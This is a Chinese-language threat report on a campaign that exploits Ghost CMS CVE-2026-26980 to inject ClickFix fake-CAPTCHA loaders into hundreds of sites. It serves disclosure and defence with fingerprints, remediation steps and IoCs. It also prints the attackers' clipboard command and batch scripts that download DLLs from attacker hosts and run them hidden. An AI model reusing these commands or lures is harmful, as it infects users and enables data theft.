黑客利用 CVE-2026-26980 攻陷 Ghost CMS,大量站点沦为 ClickFix 攻击帮凶

背景介绍

2026年5月7日,XLab监测到一起针对重要客户Ghost CMS的投毒事件。攻击者利用Ghost CMS高危SQL注入漏洞CVE-2026-26980,未授权获取目标站点的Admin API Key,进而通过Ghost Admin API批量篡改文章,在页面底部植入恶意JavaScript Loader,用于辅助FakeCaptcha攻击——即通过伪造Cloudflare人机验证页面,诱导用户在本地执行恶意命令。

深入调查分析后,我们确定这并非是针对客户的定向入侵,而是隶属于在野攻击团伙以Ghost CMS为目标的大规模投毒活动。虽然CVE-2026-26980早在2月19日就已公开披露,但大量用户并未及时升级修补,为攻击者提供了可乘之机。目前至少有两个团伙正在积极开展此类投毒行动,部分站点甚至成为双方争夺的目标,一天之内被先后植入不同的恶意代码

Ghost CMS投毒事件时间线
Ghost CMS 投毒事件时间线

通过对页面投毒特征的主动探测,我们累计发现 700多个域名遭到污染,其中不乏多个全球知名站点,覆盖大学、区块链、AI / SaaS、安全研究、媒体、金融科技等多个行业。

ghostcmd_victim.png

毫无疑问,用户对这些 Ghost 站点的天然信任,将极大提升 ClickFix 这类攻击的成功率。在第一波次的攻击中,攻击链条中的 Cloaking 域名使用了 Cloudflare 的代理服务,这为 Cloudflare 留出了有效的拦截窗口。很可能是用户在被投毒站点上看到异常提示框后对相关网站进行了举报,最终促使 Cloudflare 封禁了攻击者当时使用的 Cloaking 域名 clo4shara[.]xyz,切断了攻击链条,在一定程度上减轻了本次投毒事件的影响。

但在 5 月 16 日,我们发现攻击者已更新其 Cloaking 域名(新域名为 com-apps[.]cc,当时尚未被 Cloudflare 拦截),并将最终载荷升级为 VT 零检出的窃密木马。

ghostcmd_cfblock.png

自5月10日起,我们已陆续向受害方发出安全通报。虽然部分企业作出了回复并启动了处置工作,但绝大多数通报至今仍未收到任何回应。我们认为无论是从当前感染态势还是未来潜在风险来看,这类投毒活动都不应该被忽视。

  • 从当前感染态势来看,攻击者只需将伪装域名(Cloaking domain)移出 Cloudflare 的服务,攻击链条便可恢复正常运作,被感染的域名将立即转化为ClickFix攻击的帮凶
  • 从未来潜在风险来看,此次收集到的 Ghost CMS 凭证及其设定风格,可能被攻击者用于针对同一感染实体的其他业务系统进行横向渗透;此外,其他尚未被感染但使用Ghost CMS的站点同样面临威胁,攻击者完全有能力采用相同手法对它们发起攻击。

5月17日,在对被污染站点进行新一轮测绘时,我们惊奇地发现,越来越多知名网站(如哈佛大学、牛津大学、奥本大学等)遭到波及,同时还发现了第二个攻击团伙的恶意代码。很明显,在野投毒攻击呈上升趋势,越多越多的没有升级的Ghost站点正处于被感染边缘,我们决定向安全社区公开通报此次事件,强烈建议请广大使用Ghost CMS的用户立即完成系统升级,并根据本文提供的特征信息,积极开展自查与处置工作

ghostcmd_harvard.jpg

影响范围

通过对公开可访问页面进行特征扫描,我们累计识别出 700多个被投毒的受害域名,并已主动联系其中可获取到联系方式的站点,告知其遭受投毒的情况。以下为基于 AI 辅助分析得出的受害域名分类统计结果。

行业类别 条目数 占比 代表条目
个人博客 / 独立站 368 48.1% aad****ie.comaba***on.comabou*****te.me
软件开发 / SaaS / 技术博客 113 14.8% 0x4***.devbetter****.devblog.al***.team
其他 / 未明确分类 97 12.7% 123mi****.com200**.com.brabrahamkr*******o.dev
AI / 机器学习 35 4.6% aibu***.softwareaigra****.comthin***.ai
Web3 / 加密货币 22 2.9% blog.celes***.orgblog.go***.networkinsights.blocko*******.co
教育 / 学术 21 2.7% jcr.new.**.**.ukehc.au****.edublog.euro*******.eu
媒体 / 新闻 / 出版 19 2.5% cubano******21.comkangla****.comhamb***1.de
公益 / 宗教 / 社区 16 2.1% bharat*******.orgstjohns****.orgchristiansof*******d.com
艺术 / 设计 / 摄影 12 1.6% andrew***.artannika*******.artbillke*****tos.org
安全 / 网络安全 11 1.4% blog.bug****.coblog.rev***.ainixha***.com
旅游 / 餐饮 / 生活 10 1.3% bayview******.cajapanj****.comdelftc***.co.nz
健康 / 医疗 / 健身 9 1.2% bakerinstitutefor*******n.orgalmostth*****ess.com
游戏 / 体育 / 娱乐 6 0.8% blog.biosteel*****.commovies*****.com8bitr****.com
金融 / Fintech 6 0.8% blog.tw***.plblog.investan*****.com
农业 / 农技 5 0.7% 2754.tar****.ieagrighg-tool.th*****.de
电商 / 零售 / 市场 5 0.7% blog.cotton******.combarbie****.comacqu***.marketing
音视频 / 播客 / 音乐 5 0.7% alth**.fmamokpo****.comheroes*****.com
汽车 / 改装 3 0.4% mqb-ret*****.com944res***.com
法律 2 0.3% audio*******er.comatechbroreads********rt.com

事件时间线

  • 2026-02-16:攻击中使用的installer.dll的编码时间戳
  • 2026-05-07:XLab 监测到 Ghost 站点出现页面投毒特征,开始溯源
  • 2026-05-08:攻击者更新update.bat,更新下载链路
  • 2026-05-10:完成第一轮被污染站点测绘,确认156个受害域名
  • 2026-05-16:Cloaking域名更新,投递新的installer.dll
  • 2026-05-17:完成第二轮被污染站点测绘,确认700+受害都域名,发现新的攻击者

漏洞背景:CVE-2026-26980

CVE-2026-26980 是 Ghost CMS 中的一处高危 SQL 注入漏洞。攻击者无需任何认证,即可通过该漏洞直接读取数据库内容,包括用于调用 Ghost Admin API 的 Admin API Key

Ghost 的 API 体系中存在两类 Key:

  • Content API Key:默认只读,仅用于前端读取已发布内容
  • Admin API Key:拥有文章、主题、用户等管理权限,可调用 PUT /ghost/api/admin/posts/:id/ 等接口直接修改文章

本次事件中,攻击者窃取的是 Admin API Key,这也是其能够批量篡改文章内容的根本前提。

攻击链总览

整个攻击过程具备明显的 "CMS 接管 → 页面投毒 → 二阶段加载 → 社工诱导(FakeCaptcha/ClickFix) → 恶意软件投递" 五段式特征,且全流程高度自动化:批量扫描漏洞 → 自动提取 Key → 批量注入 → C2 动态分发。

cve_2026_26980.png

Stage 1:文章尾部注入恶意 JavaScript

攻击者在成功获取目标站点 Admin API Key 后,通过 Ghost Admin API 修改文章内容,在文章底部插入恶意代码。我们捕获的恶意代码可以分析俩个版本,它们的核心功能是一致的,只不过新版本在优化了加载逻辑,即通过浏览器的localStorage,确保后续代码在当前浏览器中只执行一次。

旧版本

ghostcmd_loader_old.png

新版本

ghoscmd_loader_new.png

代码行为分析:

行为 说明
atob("aHR0cHM6Ly9jbG80c2hhcmEueHl6LzExejc3dTMucGhw") base64 解码出 https://clo4shara[.]xyz/11z77u3.php
d += a.search.substring(1) 将当前页面 query string 透传给 C2,便于按 utm / refid 分流投递
c.id = btoa(a.origin) 给注入的 <script> 标签设置 base64(origin) 作为 id,C2 端可识别每一个受害站点(多站点投毒的统一指纹)
b.appendChild(c) 在受害者浏览器中动态创建并加载远程 script

这是一段典型的二阶段加载器(two-stage loader):第一阶段是固定写入数据库的 thin loader,真正的 payload 由 clo4shara[.]xyz/11z77u3.php 按需返回。

这种设计对攻击者的好处非常明显:

  • 切换 payload 内容(钓鱼跳转 / 信息窃取 / 挖矿 / 浏览器 0day / 仅在特定地理或 UA 下激活)完全不需要再次入侵站点
  • 一旦被发现,C2 可以"先静默"再"复活",绕过基于 payload 内容的特征匹配
  • 同一份 loader 可以跨多个被入侵的站点复用,C2 端通过 btoa(origin) 标识来源

Stage 2:二阶段Cloaking脚本,跳转至伪造验证页面

直接访问clo4shara[.]xyz/11z77u3.php 可以看到一段代码,它其实是典型的流量分发脚本,核心功能是采集用户浏览器的多种指纹信息并上传至服务端,随后根据返回指令执行跳转、弹窗、下载等动作。经分析,我们认为这个PHP脚本并非攻击者自主开发,而是源自商业化Cloaking服务提供商Adspect。在恶意场景中,Cloaking技术使网站能根据访客身份动态切换内容:真实受害者将才会接收到恶意负载,而安全研究人员或爬虫仅能看见无害的“安全页面”。

1.环境指纹采集

通过采集浏览器、系统、硬件等多维度的指纹信息(如 WebGL 显卡型号、Navigator 属性、时区、触摸事件支持、控制台是否被篡改等),构建浏览器环境的唯一标识,上报给服务器用于判断请求是否来自真实受害者。

ghostcmd_fingerprint.png

2.远程控制

支持 local、fetch、proxy、301–307 状态码、iframe、form、php、js 等 19 种不同指令,能够执行任意 JavaScript 代码,攻击者可以完全控制受害者的浏览器。

ghostcmd_main.png

实际中真正的受害者访问11z77u3.php 返回的windows_adata相关代码如下所示,此时脚本执行iframe指令,让浏览器通过iframe的方式加载下一阶段的页面cloud-verification[.]com

window._adata = {
  "ok": true,
  "action": "iframe",
  "cid": "69fca6a9ad57095d",
  "js": false,
  "target": "https://cloud-verification[.]com"
};

用户视角的现像就是浏览器显示一个Cloudflare 的"人机验证"页面,要求Verify you are human

伪造 Cloudflare 验证页

Stage 3:ClickFix 社会工程学攻击

上一章节提到的页面,是一个高度仿冒 Cloudflare 的“人机验证”页面。当用户点击“验证”后,页面会进一步引导用户完成以下三个特定步骤,才能通过验证。这其实是当下非常流行的 Fake CAPTCHA 攻击手法,通过社会工程学诱导用户,从而完成恶意软件的投递与执行。

  1. 使用WIN+R快捷键打开命令窗口
  2. 使用Ctrl+V复制指令
  3. 按下Enter执行指令。

FakeCAPTCHA 社工页面

没有经验的读者或许会说:“这看起来没有什么恶意行为啊?”其实,玄机就藏在 setTimeout 里。它设定了一个在页面被访问后,延时至少500毫秒才会执行的函数,用来在后台偷偷下载恶意文件,下载地址为https://cloud-verification[.]com/update.zip。如果用户浏览器没有开启“下载提醒”,整个过程就会在毫无察觉的情况下完成。

ghostcmd_clickfix.png
而用户Ctrl+V复制的指令来自dropper,将它使用base64解码如下所示,它的功能正是将下载的update.zip恶意载荷启动执行。

cmd /c "move %USERPROFILE%\Downloads\update.zip %TEMP%\u.zip 
&& tar -xf %TEMP%\u.zip -C %TEMP% 
&& start /min "" %TEMP%\update.bat" 
& REM
* I am not a robot reCAPTCHA Verification ID:2771
操作 说明
move update.zip 将下载目录中的压缩包移动至临时目录
tar -xf 解压 ZIP 文件
start /min update.bat 以最小化窗口静默执行恶意批处理
REM * I am not a robot... 伪装为 reCAPTCHA 校验码,降低用户警惕

Stage 4:载荷投递

我们目前一共捕获了以下4个不同的下载地址,其中可以分成update.zip和NotepadPlugPlus.zip俩大类,其中update.zip这一类的恶意代码保存在update.bat中。

  • jalwat[.]com/static/uploads/campaigns/6/update.zip
  • cloud-verification[.]com/update.zip
  • com-apps[.]cc/update.zip
  • com-apps[.]cc/NotepadPlusPlus.zip

ghostcmd_updatebat.png

5月7日:来自jalwat[.]com的update.bat

@echo off
powershell -W 1 -C "$f=$env:Temp+'\installer.dll'; iwr 'https://link.storjshare[.]io/raw/jwqiycdezuj5gpqsyqn3damxbhgq/000/supman/installer.dll' -OutFile $f;  Start-Process rundll32 -ArgumentList  $f,'Begin' -Window Hidden"
start "" "https://youtube.com"

5 月 8 日:来自cloud-verificatoin[.]com的update.bat

@echo off
powershell -W 1 -C "$f=$env:Temp+'\installer.dll'; iwr 'https://link.storjshare[.]io/raw/jwl6ukpgv3mronv4ik2atzxsfxzq/sup/installer.dll' -OutFile $f;  Start-Process rundll32 -ArgumentList  $f,'Begin' -Window Hidden"
start "" "https://wl[.]gl/supp.jpg"
exit

5月9日: 来自com-apps[.]cc 的update.bat

@echo off
powershell -W 1 -C "$f=$env:Temp+'\publl.dll'; iwr 'https://t[.]ly/docreport09052026.pdf' -OutFile $f;  Start-Process rundll32 -ArgumentList  $f,'Begin' -Window Hidden"
start "" "https://bc[.]ax/Supp.html"
exit

它们的核心逻辑一致:从 Storj 公共 CDN 下载DLL文件,通过 rundll32 隐藏窗口调用导出函数 Begin,再打开一个伪装页面分散用户注意力。

诱饵图片

而NotepadPlusPlus.zip就稍微有所变化,在5月16日压缩包中的是cmd文件;俩天之后就变成了js文件。

ghostcmd_notepad.png

5月16日: 来自com-app[.]cc的NotepadPlusPlus.cmd

@echo off
setlocal
if not "%1"=="am_admin" (powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c %~f0 am_admin' -WindowStyle Minimized" & exit /b)
mode con: cols=1 lines=1
powershell -WindowStyle Hidden -Command ^
"$dll = '%APPDATA%\Microsoft\Windows\NotepadPlusPlus.dll'; ^
Invoke-WebRequest 'https://taketwolabs[.]com/wp-content/NotepadPlusPlus.dll' -OutFile $dll -UseBasicParsing; ^
Start-Process rundll32 -ArgumentList $dll, 'Begin' -WindowStyle Hidden"
exit

5月18日: 来自com-app[.]cc的NotepadPlugPlus.js

ghostcmd_notepadjsfile.png
它们的功能也是下载,只不过cmd用于下载下一阶段的载荷NotepadPlusPlus.dll;而js则是用于下载最终阶段的载荷UtilifySetup.exe。

样本分析:installer.dll & notepadplusplus.js

上述的bat或cmd文件都是用于下载下一阶段的DLL文件,虽然不同的脚本中使用了publl.dll,NotepadPlusPlus.dll等名字,但从样本中的PDB信息可知这个DLL真实名字为installer。目前,我们只捕获俩个installer.dll,对应俩个不同的阶段。

ghostcmd_installerpdb.png

第一阶段:5月7日至9日

MD5:    5659292833ec421da11ebde005d9c9a8
Compiled Timestamp: 2026-02-16 18:19:13
Language:    Rust
PDB: installer.pdb

行为流程:

  1. %TEMP% 下创建随机命名的文件夹
  2. https://wl[.]gl/sup.exe 下载下一阶段样本并保存
  3. 使用 cmd 启动 sup.exe

最终拉取到的 sup.exe 是一个携带有效代码签名证书的 PuTTY 客户端,目前该链接已失效。我们判断这个阶段极有可能只是测试 / 统计性投放,用以验证整条投毒链路的可行性与转化率,核心判断依据为:

  • Loader 本身未做任何持久化
  • 下载回来的 payload 未实施任何恶意行为

第二阶段:5月16日至今

MD5: d30cc10d54ebc967c8538ff74f442eee
Compiled Timestamp: 2026-05-16 04:04:55
Language: Rust
PDB: installer.pdb

它的功能和第一阶段的installer.dll一样,就是从地址 amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws[.]com/UtilifySetup.exe下载执行下一阶段的载荷UtilifySetup.exe。

ghostcmd_dlurl.png

前文已经讨论过NotepadPlusPlus.zip包括cmd/js俩种形式,已知notepadPlusPlugs.cmd是用于下载installer.dll,那notepadPlusPlus.js的目的又是什么呢?

MD5:ec5dfee13abf94e08d0f94e90b527db0
Language: JavaScript

将notepadPlusPlus.js去混淆后,不难看出,它的功能也是下载执行下一阶段载荷UtilifySetup.exe。

ghostcmd_notepadjs.png

样本分析:UtilifySetup.exe

UtilifySetup.exe是Inno Setup打包的安装文件,执行后会将释放到%appdata%\local\SuperMaxionQuickMaxlite目录。

MD5: 18a7251ddde77ed24bc54700d84d9be1
SHA1: 9434fe686801742ef7d6da248fb0b900dc32208a
Compiled TimeStamp: 2026-02-11 19:40:27
Type: Inno Setup

fake_grape.png

这其实是一个Electron程序,将asar解包之后,可以看到源代码来自于github开源Grape应用

ghostcmd_asar.png

这个文件在VT是0检测,难道又是一个测试程序?答案是否定的。经过分析,我们发现攻击者使用恶意的index.js替换原始入口文件。

ghostcmd_index.png

去混淆之后,不难看出它使用 Electron 框架自带的setLoginItemSettings API实现持久化;每30秒向远程服务器web-telegram[.]ug发送POST请求,等待执行其下发的获取指令,可执行任意的js代码或者运行可执行文件。

ghostcmd_indexfunc.png

另一个攻击团伙

在我们的调查中,发现部分受害者还被攻击过2俩次,以bitsy.ai为例,它在5月10日第一名受害者名单中,但是却不在5月17日的第二批名单中。我们一开始为bitsy.ai的修复行动感到开心,但检查之后却发现它虽然清理了之前的脚本,但又被植入了另一类恶意脚本。这个脚本使用简单的reverse的对抗,还原后的下一阶段的javascript脚本地址为https://staticcloudflare[.]pro/api/css.js

ghostcmd_newjs1.png

再以哈佛国际评论为例,4月23日有一个公开的分析报道关于其被黑用于ClickFix攻击,涉及的IOC为script-dev[.]digital,文中并没有提供恶意脚本,但我们通过溯源发现了以下脚本,还原后的下一阶段javascript脚本地址为https://script-dev[.]digital/api/css.js

ghostcmd_newjs3.png

staticcloudflare[.]pro与script-dev[.]digital这俩个域名使用相同的/api/css.jsURI模式,而且都曾解析到144.31.236.66,不难判断出俩者属于同一个攻击团伙。

ghostcmd_actor2.png

而到了5月16日,我们却发现哈佛国际评论被植入了本次活动的恶意脚本,将其中的aHR0cHM6Ly9jb20tYXBwcy5jYy8xMXo3N3UzLnBocA==字串Base64解码后,正是新的Cloaking 脚本地址https://com-apps[.]cc/11z77u3.php

ghostcmd_harvard_actor1.png

最有意思的是仅仅1天之后,另一个攻击团伙就将上面的代码清除,植入和bitsy.ai一样的恶意脚本,我们不禁感叹哈佛国际评论一个相当严肃的站点居然被俩个攻击团伙如此肆意玩弄。

ghostcmd_harvard_actor2.png

这个这个攻击团伙的ClickFix页面上Ctrl+V的代码如下所示,核心部分是$d,可以看出它是一个16进制字串,使用XOR加密,密钥为h2QHiVI

ghostcmd_newclickcode.png

解密后的代码如下所示,它的功能是下载执行下一阶段的载荷,下载地址使用Base64编码 aHR0cHM6Ly9jZG51cGRhdGVuZXdzLnRvcC9kbD9maWQ9Mzg=,解码后为https://cdnupdatenews[.]top/dl?fid=38,遗憾的是我们并没有捕获这个载荷,无法进入一步分析这个攻击者的终极意图。

ghostcmd_decclickcode.png

本文暂时不对这个攻击者进行深入的分析,只提供部分威胁情报,通过/api/css.js这个特定的URI进行溯源的话,在VT能发现将近500个可疑域名,部分和Aeternum联系在一起。

ghostcmd_uri.png

自查与检测方法

站点侧(Ghost 运维方)

  1. 检查文章内容:是否包含以下任一指纹
    • 字符串 sj.ssc/ipa/ghost_once_footer_
    • 字符串 atob(appendChild 同时出现在文章正文中
    • 字符串 btoa(a.origin)
  2. 检查 Ghost 后台日志:是否存在异常的 PUT /ghost/api/admin/posts/:id/ 请求,特别是来自陌生 IP、UA 异常、短时间内批量修改的请求
  3. 检查 Code Injection 配置项与主题文件:是否被植入额外的 <script> 标签
  4. 检查 API Key 列表:是否存在未知或长期未使用的 Admin API Key

用户侧 / 浏览侧

  • 是否曾被引导至 cloud-verification[.]comcom-apps[.]cc 类伪验证页面

  • 下载记录中是否有 jalwat[.]comtaketwolabs[.]comcom-apps[.]cccloud-verification[.]com

处置建议

我们强烈建议Ghost CMS用户执行以下处置操作,如果你对我们的研究感兴趣,或需要帮助,可通过过X平台与我们联系。

  1. 紧急升级 Ghost CMS 至已修复 CVE-2026-26980 的官方版本
  2. 轮换所有凭证:Admin API Key、Content API Key、管理员密码、Session
  3. 清理植入内容:在数据库层面(而不仅是后台编辑器)批量清除文章中匹配上述指纹的 <script> 代码段
  4. 审计访问日志:保留至少 30 天的 Admin API 调用日志,配合 IoC 进行回溯排查
  5. 向用户公告:建议所有可能在被污染期间访问过站点的用户进行本地安全检查

IoC

Threat Actor A

clo4shara[.]xyz
cloud-verification[.]com
jalwat[.]com
com-apps[.]cc
web-telegram[.]ug


https://clo4shara[.]xyz/11z77u3.php
https://com-apps[.]cc/11z77u3.php
https://platecrumbs[.]com/11z77u3.php
https://cloud-verification[.]com/update.zip
https://com-apps[.]cc/update.zip
https://com-apps[.]cc/NotepadPlusPlus.zip
https://jalwat[.]com/static/uploads/campaigns/6/update.zip
https://taketwolabs[.]com/wp-content/NotepadPlusPlus.dll

Threat Actor B

staticcloudflare[.]pro
script-dev[.]buzz
updatesecurity[.]pro
updatefilescf[.]top
static-file[.]digital
download-file[.]today
updatefile-cf[.]dgital
script-dev[.]digital
updatefile-cf[.]top
script-dev[.]xyz



https://staticcloudflare[.]pro/api/css.js
https://script-dev[.]digital/api/css.js
https://cdnupdatenews[.]top/dl?fid=38

Sample MD5

5659292833ec421da11ebde005d9c9a8 installer.dll
d30cc10d54ebc967c8538ff74f442eee *NotepadPlusPlus.dll
18a7251ddde77ed24bc54700d84d9be1 *UtilifySetup.exe_
f280e12f51f996dae7fffc64a56ee527 *SuperAppizeSetup.msi
fceca579efcef09eb507c6ca977ea281 *css.js_


Injected code characteristics

#Threat Actor1

"ghost_once_footer_"

#Threat Actor2

"sj.ssc/ipa/"